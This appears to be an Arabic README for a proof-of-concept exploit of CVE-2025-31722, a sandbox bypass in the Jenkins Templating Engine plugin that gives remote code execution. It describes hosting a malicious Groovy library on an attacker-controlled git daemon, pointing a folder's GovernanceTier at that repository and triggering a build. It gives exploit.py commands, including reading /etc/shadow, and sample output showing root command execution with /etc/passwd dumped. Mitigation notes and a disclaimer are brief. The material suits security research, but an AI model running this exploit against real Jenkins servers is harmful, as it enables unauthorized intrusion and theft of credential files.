
استغلال إثبات المفهوم لتجاوز صندوق الحماية في إضافة Jenkins Templating Engine (CVE-2025-31722) مما يتيح تنفيذ التعليمات البرمجية عن بُعد عبر حقن مكتبة Groovy ضارة.
لأغراض التعليم والبحث الأمني المصرح به فقط.
ثغرة تجاوز الصندوق الرمل (Sandbox Bypass) في إضافة Jenkins Templating Engine (JTE) الإصدار 2.5.3 فأقل تسمح لمستخدم منخفض الصلاحيات بتنفيذ أكواد عشوائية على خادم Jenkins.
يحدث الخلل لأن JTE يقوم بتحميل المكتبات من مستودع git خارجي محدد في تكوين GovernanceTier على مستوى المجلد وتنفيذ الخطوات من تلك المكتبات خارج صندوق الرمل الخاص بـ Groovy، بغض النظر عن مستوى صلاحية المستخدم الذي أنشأ المهمة.
CVSS: 8.8 (عالية)
النوع: تجاوز الصندوق الرمل → تنفيذ أكواد عن بعد (RCE)
المكون المتأثر: إضافة pipeline-templating-engine ≤ 2.5.3
الإصدار المُصحّح: 2.5.4+
Attacker (Kali) Jenkins Server
─────────────── ──────────────
1. ينشئ مستودع git مع evil.groovy
2. يشغل git daemon على المنفذ :9418
3. ينشئ مجلدًا في Jenkins → مجلد يحتوي على GovernanceTier
يشير إلى git://KALI:9418/… موجه لمستودع المهاجم
4. ينشئ مهمة باستخدام AdHoc template → المهمة تستدعي evil()
5. يشغل البناء → JTE يستنسخ المستودع من Kali
ينفذ evil() خارج الصندوق الرمل
← RCE كمستخدم Jenkins
cloudbees-folder, git, workflow-aggregatorattacker بصلاحيات: Item/READ, Item/CREATE, Item/CONFIGURE, Item/BUILDgit مثبتrequestspip install requests
الإعداد المُثبت على خادم Debian/Ubuntu يتضمن تثبيت Jenkins وتكوين المستخدمين والصلاحيات والإضافات المطلوبة. لا يقوم بإنشاء أي محتوى ضار — حيث يتم التعامل مع ذلك حصريًا بواسطة PoC.
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP>
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cmd "cat /etc/shadow"
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cleanup
| المعامل | الوصف | مطلوب |
|---|---|---|
--url | عنوان Jenkins الأساسي | نعم |
--user | مستخدم بصلاحيات Item/CREATE+CONFIGURE+BUILD | نعم |
--pass | كلمة مرور المستخدم | نعم |
--git-host | عنوان Kali الذي يمكن الوصول إليه من Jenkins | نعم |
--cmd | الأمر المراد تنفيذه على الخادم (الافتراضي: id && hostname && cat /etc/passwd) | لا |
--cleanup | حذف المجلد والمهمة والمستودع التي أنشأها الأداة | لا |
setup_repo() — ينشئ ~/jte-exploit/evil-lib/steps/evil.groovy على Kali بالأمر المراد تنفيذهstart_git_daemon() — يشغل git daemon على Kali على المنفذ 9418create_folder() — ينشئ مجلدًا في Jenkins مع GovernanceTier يشير إلى git://KALI:9418/jte-exploitcreate_job() — ينشئ مهمة بـ AdHocTemplateFlowDefinition تعلن evil-lib وتستدعي evil()trigger_and_wait() — يشغل البناء وينتظر النتيجةprint_output() — يعرض مخرجات الكونسول مع نتيجة RCEيبقى git daemon نشطًا طوال دورة البناء بأكملها ويتم إنهاؤه تلقائيًا بمجرد اكتمال البناء.
=================================================================
CVE-2025-31722 — Jenkins Templating Engine RCE
Target : http://10.211.55.10:8080
Git host: 10.211.55.7
Command : id && hostname && cat /etc/passwd
=================================================================
[+] Authenticated as: attacker (id=attacker)
[+] Repo created: /root/jte-exploit
[+] Malicious step: evil-lib/steps/evil.groovy
[+] Git daemon running at git://10.211.55.7:9418/jte-exploit
[+] Folder created
[+] Job created
[+] Build queued
=================================================================
CVE-2025-31722 — RCE OUTPUT
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================
Item/CREATE و Item/CONFIGURE للمستخدمين الموثوقين فقطGovernanceTier موجهة لمستودعات خارجيةإخلاء مسؤولية قانونية: يُقصد من هذا PoC الأغراض التعليمية فقط والاختبار في بيئات خاضعة للرقابة. استخدامه ضد أنظمة دون إذن صريح غير قانوني.